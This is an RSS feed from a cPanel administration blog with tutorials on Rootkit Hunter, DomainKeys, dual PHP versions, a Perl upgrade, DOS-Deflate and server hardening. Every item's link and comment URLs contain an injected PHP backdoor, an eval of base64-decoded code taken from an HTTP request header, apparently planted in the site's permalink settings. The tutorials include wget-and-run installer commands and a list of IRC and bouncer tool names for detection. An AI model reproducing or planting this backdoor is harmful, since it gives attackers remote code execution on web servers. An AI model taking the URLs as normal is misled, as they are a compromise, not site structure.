<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; cpanel</title>
	<atom:link href="http://www.cpanelconfig.com/tag/cpanel/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Install Rootkit Hunter (1.3)</title>
		<link>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 16 Nov 2007 08:52:59 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[rkhunter]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[Rootkit Hunter]]></category>
		<category><![CDATA[rootkits]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/install-rootkit-hunter-13/</guid>
		<description><![CDATA[What is Rootkit Hunter ?




Rootkit scanner is scanning tool to ensure you for about 99.9%* you&#8217;re clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:
- MD5 hash compare
- Look for default files used by rootkits
- Wrong file permissions for binaries
- Look for suspected strings in LKM and [...]]]></description>
			<content:encoded><![CDATA[<p><strong>What is Rootkit Hunter ?</strong><br />
<!--adsense--><br />
Rootkit scanner is scanning tool to ensure you for about 99.9%* you&#8217;re clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:</p>
<p>- MD5 hash compare<br />
- Look for default files used by rootkits<br />
- Wrong file permissions for binaries<br />
- Look for suspected strings in LKM and KLD modules<br />
- Look for hidden files<br />
- Optional scan within plaintext and binary files</p>
<p><strong>How to install?</strong><br />
<!--adsense--></p>
<ol>
<li>Login as root to your server</li>
<li>Download the package and extract it</li>
<blockquote><p>wget http://prdownloads.sourceforge.net/rkhunter/rkhunter-1.3.0.tar.gz<br />
tar -xzf rkhunter*</p></blockquote>
<li>Run the installer</li>
<blockquote><p>cd rkhunter-*<br />
./installer.sh &#8211;layout default &#8211;install</p></blockquote>
<li>Run rkhunter</li>
<blockquote><p>/usr/local/bin/rkhunter -c</p></blockquote>
</ol>
<p><!--adsense--><br />
Enjoy !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Installing DomainKeys on a cPanel server</title>
		<link>http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 14 Oct 2007 20:52:14 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cPanel Administration]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[domainkey]]></category>
		<category><![CDATA[DomainKeys]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-administration/installing-domainkeys-on-a-cpanel-server/</guid>
		<description><![CDATA[Delivering mail to yahoo and google is so hard those days. Almost every server has had this problem even if it is not used to relay spam.
Installing DomainKeys can help your server deliver &#8220;clean&#8221; emails directly to your user&#8217;s inbox.
What are DomainKeys?
Well you will find more information on this topic at: http://antispam.yahoo.com/domainkeys

Installation is simple and [...]]]></description>
			<content:encoded><![CDATA[<p>Delivering mail to yahoo and google is so hard those days. Almost every server has had this problem even if it is not used to relay spam.<br />
Installing DomainKeys can help your server deliver &#8220;clean&#8221; emails directly to your user&#8217;s inbox.<br />
<strong>What are DomainKeys?</strong><br />
Well you will find more information on this topic at: <a href="http://antispam.yahoo.com/domainkeys" title="Yahoo DomainKeys">http://antispam.yahoo.com/domainkeys</a><br />
<!--adsense--><br />
<strong>Installation</strong> is simple and it&#8217;s done on a domain basis.</p>
<p>How to install DomainKeys on a specific domain.</p>
<ol>
<li>First check that you are running the latest version on RELEASE or CURRENT of cPanel 11.</li>
<li>Run the script</li>
<blockquote><p>/usr/local/cpanel/bin/domain_keys_installer username</p></blockquote>
<p>Where username is the cPanel user.</ol>
<p>If you get an error similar to &#8220;Domain keys are not installed on this machine.&#8221; you either are not running the latest release or current version of cPanel or you have not converted yet to maildir. Maildir conversion is required before you install DomainKeys.<br />
You will find an article about converting to maildir on this site !</p>
<p>Ok, we just installed DomainKeys for a domain, but how about if we want to install it for all the domains (users)?<br />
Well I found the solution just a few days ago on a public forum. Someone wrote a nice bash script that will parse all the cpanel users and then run the installation for each of them.<br />
<!--adsense--></p>
<blockquote><p>for i in `ls /var/cpanel/users` ;do /usr/local/cpanel/bin/domain_keys_installer $i ;done</p></blockquote>
<p>Ok, but what about if we want that every new created account to have DomainKeys installed. Well this is a bit harder to do.<br />
I recommend editing /scripts/postwwwacct and adding:</p>
<blockquote><p>my %OPTS = @ARGV;<br />
my $user = $OPTS{&#8217;user&#8217;};<br />
/usr/local/cpanel/bin/domain_keys_installer $user</p></blockquote>
<p>Now test this by creating a new account.</p>
<p><!--adsense--></p>
<p>If you have any problems please don&#8217;t hesitate to leave a commnent here.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/10/14/installing-domainkeys-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>52</slash:comments>
		</item>
		<item>
		<title>Running PHP 5 and PHP 4 on the same cpanel server</title>
		<link>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 14 Oct 2007 19:54:13 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[cPanel Administration]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[fastcgi]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php 4]]></category>
		<category><![CDATA[php 5]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-administration/running-php-5-and-php-4-on-the-same-cpanel-server/</guid>
		<description><![CDATA[This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers [...]]]></description>
			<content:encoded><![CDATA[<p>This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.<br />
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers for different php versions.<br />
<!--adsense--></p>
<p>O k, let&#8217;s get started. Before I explain how to install it please note that part of this article is inspired by a post on Defender Hosting Forum (http://forums.defenderhosting.com/showthread.php?t=2103)</p>
<ol>
<li>Compiler check</li>
<blockquote><p>/scripts/checkccompiler<br />
rm -rf /home/cpphpbuild<br />
mkdir /home/cpphpbuild<br />
cd /home/cpphpbuild</p></blockquote>
<li>Download and extract php</li>
<blockquote><p>wget http://us2.php.net/get/php-5.2.4.tar.gz/from/this/mirror<br />
tar zfx php-5.2.4.tar.gz<br />
cd php-5.2.4</p></blockquote>
<li>Configure and build the php installation (credits go to elix for an excellent work)</li>
<blockquote><p>echo &#8220;#define HAVE_SENDMAIL 1&#8243; &gt;&gt; /home/cpphpbuild/php-5.2.4/main/php_config.h<br />
wget http://www.elix.us/tutorials/php5.gen.cpanel<br />
chmod 700 php5.gen.cpanel<br />
./php5.gen.cpanel<br />
make<br />
make install</p></blockquote>
<p><!--adsense--></p>
<li>Moving the files and finishing the configuration</li>
<blockquote><p>cp -f /usr/local/php5/bin/php5 /usr/local/cpanel/cgi-sys/php5<br />
chown root:wheel /usr/local/cpanel/cgi-sys/php5</p>
<p>cp -p /home/cpphpbuild/php-5.2.4/php.ini-recommended /usr/local/php5/lib/php.ini<br />
chown root.root /usr/local/php5/lib/php.ini<br />
chmod 644 /usr/local/php5/lib/php.ini</p>
<p>echo &#8220;cgi.fix_pathinfo = 1 ; needed for CGI/FastCGI mode&#8221; &gt;&gt; /usr/local/php5/lib/php.ini</p></blockquote>
<li>Now we have to add a few lines to the httpd.conf file</li>
<blockquote><p>pico /usr/local/apache/conf/httpd.conf</p></blockquote>
<p>Add in the section <ifmodule></ifmodule>&#8211; &#8220;index.php5&#8243; before index.php4<br />
Add after &#8220;AddType application/x-httpd-php .phtml&#8221;</p>
<blockquote><p>Action application/x-httpd-php5 &#8220;/cgi-sys/php5&#8243;<br />
AddHandler application/x-httpd-php5 .php5</p></blockquote>
<li>Test the installation</li>
<blockquote><p>service httpd configtest</p></blockquote>
<p>If you get any errors please check that you done all the steps properly.<br />
If everything is ok you can now restart apache</p>
<li>Restart apache</li>
<blockquote><p>service httpd restart</p></blockquote>
</ol>
<p><!--adsense--></p>
<p>Now any files with the extension .php5 will be parsed by php 5 and all the other files will be parsed by your &#8220;normal&#8221; php 4 installation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to upgrade perl to v5.8.8</title>
		<link>http://www.cpanelconfig.com/2007/09/26/how-to-upgrade-perl-to-v588/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/26/how-to-upgrade-perl-to-v588/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 26 Sep 2007 20:50:45 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[5.8.8]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[cpanel 11]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/how-to/how-to-upgrade-perl-to-v588/</guid>
		<description><![CDATA[
Installing and running cPanel 11 require you to have perl v5.8.8. If you run an older version some things will not work properly (like spamassasin for example).
Do you need to upgrade?
YES if you running an older version.
How to check what version are you using?
Run:
perl -v
If you see anything like:
This is perl, v5.8.7 built for i686-linux
then [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Installing and running cPanel 11 require you to have perl v5.8.8. If you run an older version some things will not work properly (like spamassasin for example).<br />
<strong>Do you need to upgrade?</strong><br />
YES if you running an older version.<br />
<strong>How to check what version are you using?</strong><br />
Run:</p>
<blockquote><p>perl -v</p></blockquote>
<p>If you see anything like:</p>
<blockquote><p>This is perl, <strong>v5.8.7</strong> built for i686-linux</p></blockquote>
<p>then you need to upgrade.</p>
<p>Upgrading is simple but I have seen a few problems in the past this is why I decided to write the how to.</p>
<ol>
<li>Download the cPanel perl installer</li>
<blockquote><p>wget http://layer1.cpanel.net/perl588installer.tar.gz</p></blockquote>
<li>Extract the archive</li>
<blockquote><p>tar zxvf perl588installer.tar.gz</p></blockquote>
<li>Run the installer</li>
<blockquote><p>cd perl588installer<br />
./install</p></blockquote>
<p><!--adsense--></p>
<li>Check perl modules</li>
<blockquote><p>/scripts/checkperlmodules</p></blockquote>
<li>Force a cPanel update</li>
<blockquote><p>/scripts/upcp &#8211;force</p></blockquote>
<li>Update perl information in user&#8217;s cPanel</li>
<blockquote><p>rm -rf /home/*/.cpanel;rm -rf /home/*/.cpanel-datastore</p></blockquote>
<li>Check the actual new perl version</li>
<blockquote><p>perl -v</p></blockquote>
<p>This should now output something like:<br />
<!--adsense--></p>
<blockquote><p>This is perl, v5.8.8 built for i686-linux</p></blockquote>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/26/how-to-upgrade-perl-to-v588/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How to mitigate DOS atacks with DOS-Deflate</title>
		<link>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 21 Sep 2007 21:40:41 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[atacks]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[DOS-Deflate]]></category>
		<category><![CDATA[mitigate]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/how-to-mitigate-dos-atacks-with-dos-deflate/</guid>
		<description><![CDATA[
What is DOS-Deflate?
(D)DoS Deflate is a shell script developed by Zaf, originally for use on MediaLayer servers to assist in combating denial of service attacks. However, it was seen to be very effective for our purpose, and therefore was released as a contribution to the web hosting community. (D)DoS Deflate is now used by not [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is DOS-Deflate?</strong></p>
<p>(D)DoS Deflate is a shell script developed by Zaf, originally for use on MediaLayer servers to assist in combating denial of service attacks. However, it was seen to be very effective for our purpose, and therefore was released as a contribution to the web hosting community. (D)DoS Deflate is now used by not only many web hosts, but by many people who run their own servers looking for additional security in dealing with such attacks. </p>
<p><strong>How to install </strong></p>
<p>Installing DOS-Deflate is one of the simplest out there.</p>
<ol>
<li>Login to your server as root</li>
<li>Download the install script</li>
<blockquote><p>wget http://www.inetbase.com/scripts/ddos/install.sh</p></blockquote>
<li>Run the installer</li>
<blockquote><p>sh install.sh</p></blockquote>
</ol>
<p>DOS-Deflate should now be installed.<br />
<!--adsense--><br />
Please note that DOS-Deflate uses APF to ban IPs so you must have it installed for DOS-Deflate to work properly. I guide on how to install APF can be found <a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-apf-firewall/">here</a>.</p>
<p>Customizing DOS-Deflate is very easy. You have to edit /usr/local/ddos/ddos.conf with your favorite editor for example</p>
<blockquote><p>pico /usr/local/ddos/ddos.conf</p></blockquote>
<p>Every setting is explained in the configuration file so I will not go over them as the explanations are quite easy to fallow up.<br />
<!--adsense--><br />
If you run into any problems please leave a comment here and I&#8217;ll try to help out.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>How to determine the connection speed</title>
		<link>http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 18 Sep 2007 21:38:25 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[connection]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[mii-tool]]></category>
		<category><![CDATA[speed]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/how-to-determine-the-connection-speed/</guid>
		<description><![CDATA[
I&#8217;ve been asked this several times so I hope this little article will help many people.
The question is: how do I determine the connection speed negotiated with the switch?
Many ask this because they want to be sure that they are getting what they pay for.
Please note that this is will NOT determine your server max [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
I&#8217;ve been asked this several times so I hope this little article will help many people.<br />
The question is: how do I determine the connection speed negotiated with the switch?<br />
Many ask this because they want to be sure that they are getting what they pay for.<br />
Please note that this is will NOT determine your server max speed but rather it will tell you the connection speed negotiated with the switch.</p>
<p>Simply run as root:</p>
<blockquote><p>mii-tool</p></blockquote>
<p>This will output something like:</p>
<blockquote><p>eth0: negotiated 100baseTx-FD, link ok</p></blockquote>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Basic security configuration for a new cPanel server</title>
		<link>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 17 Sep 2007 21:49:30 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[securing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/basic-security-configuration-for-a-new-cpanel-server/</guid>
		<description><![CDATA[Note: This article is based on a Layeredtech knowledgebase article https://support.layeredtech.com/home/index.php?x=&#38;mod_id=2&#38;id=101

We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.
Basic Steps to Securing CPanel (Linux based OS):
These are items inside of WHM/Cpanel that should be changed to secure your server.
Goto Server Setup [...]]]></description>
			<content:encoded><![CDATA[<p>Note: This article is based on a Layeredtech knowledgebase article <a href="https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101">https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101</a></p>
<p><!--adsense--></p>
<p>We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.</p>
<p>Basic Steps to Securing CPanel (Linux based OS):</p>
<p>These are items inside of WHM/Cpanel that should be changed to secure your server.</p>
<p>Goto Server Setup =&gt;&gt; Tweak Settings</p>
<p>Check the following items&#8230;</p>
<p>Under Domains<br />
Prevent users from parking/adding on common internet domains. (ie hotmail.com, aol.com)</p>
<p>Under Mail<br />
Attempt to prevent pop3 connection floods<br />
Default catch-all/default address behavior for new accounts &#8211; blackhole</p>
<p>Under System<br />
Use jailshell as the default shell for all new accounts and modified accounts</p>
<p>Goto Server Setup =&gt;&gt; Tweak Security<br />
Enable php open_basedir Protection<br />
Enable mod_userdir Protection<br />
Disabled Compilers for unprivileged users.</p>
<p>Goto Server Setup =&gt;&gt; Manage Wheel Group Users<br />
Remove all users except for root and your main account from the wheel group.</p>
<p>Goto Server Setup =&gt;&gt; Shell Fork Bomb Protection<br />
Enable Shell Fork Bomb/Memory Protection</p>
<p>When setting up Feature Limits for resellers in Resellers =&gt;&gt; Reseller Center, under Privileges always disable Allow Creation of Packages with Shell Access and enable Never allow creation of accounts with shell access; under Root Access disable All Features.</p>
<p>Goto Service Configuration =&gt;&gt; FTP Configuration<br />
Disable Anonymous FTP</p>
<p>Goto Account Functions =&gt;&gt; Manage Shell Access<br />
Disable Shell Access for all users (except yourself)</p>
<p>Goto Mysql =&gt;&gt; MySQL Root Password<br />
Change root password for MySQL</p>
<p>Goto Security and run Quick Security Scan and Scan for Trojan Horses often. The following and similar items are not Trojans:<br />
/sbin/depmod<br />
/sbin/insmod<br />
/sbin/insmod.static<br />
<!--adsense--><br />
/sbin/modinfo<br />
/sbin/modprobe<br />
/sbin/rmmod</p>
<p>These are measures that can be taken to secure your server, with SSH access.</p>
<p>Udate OS, Apache and CPanel to the latest stable versions.</p>
<p>This can be done from WHM/CPanel.</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/secure-ssh-access/">Restrict SSH Access</a></p>
<p>Disable Shell Accounts</p>
<p>To disable any shell accounts hosted on your server SSH into server and login as root.</p>
<p>At command prompt type: locate shell.php</p>
<p>Also check for:</p>
<p>locate irc<br />
locate eggdrop<br />
locate bnc<br />
locate BNC<br />
locate ptlink<br />
locate BitchX<br />
locate guardservices<br />
locate psyBNC<br />
locate .rhosts</p>
<p>Note: There will be several listings that will be OS/CPanel related. Examples are</p>
<p>/home/cpapachebuild/buildapache/php-4.3.1/ext/ircg<br />
/usr/local/cpanel/etc/sym/eggdrop.sym<br />
/usr/local/cpanel/etc/sym/bnc.sym<br />
/usr/local/cpanel/etc/sym/psyBNC.sym<br />
/usr/local/cpanel/etc/sym/ptlink.sym<br />
/usr/lib/libncurses.so<br />
/usr/lib/libncurses.a<br />
etc.</p>
<p>Disable identification output for Apache</p>
<p>To disable the version output for proftp, SSH into server and login as root.</p>
<p>At command prompt type: pico /etc/httpd/conf/httpd.conf</p>
<p>Scroll (way) down and change the following line to</p>
<p>ServerSignature Off</p>
<p>Restart Apache</p>
<p>At command prompt type: /etc/rc.d/init.d/httpd restart</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-chkrootkit/">Install chkrootkit</a></p>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
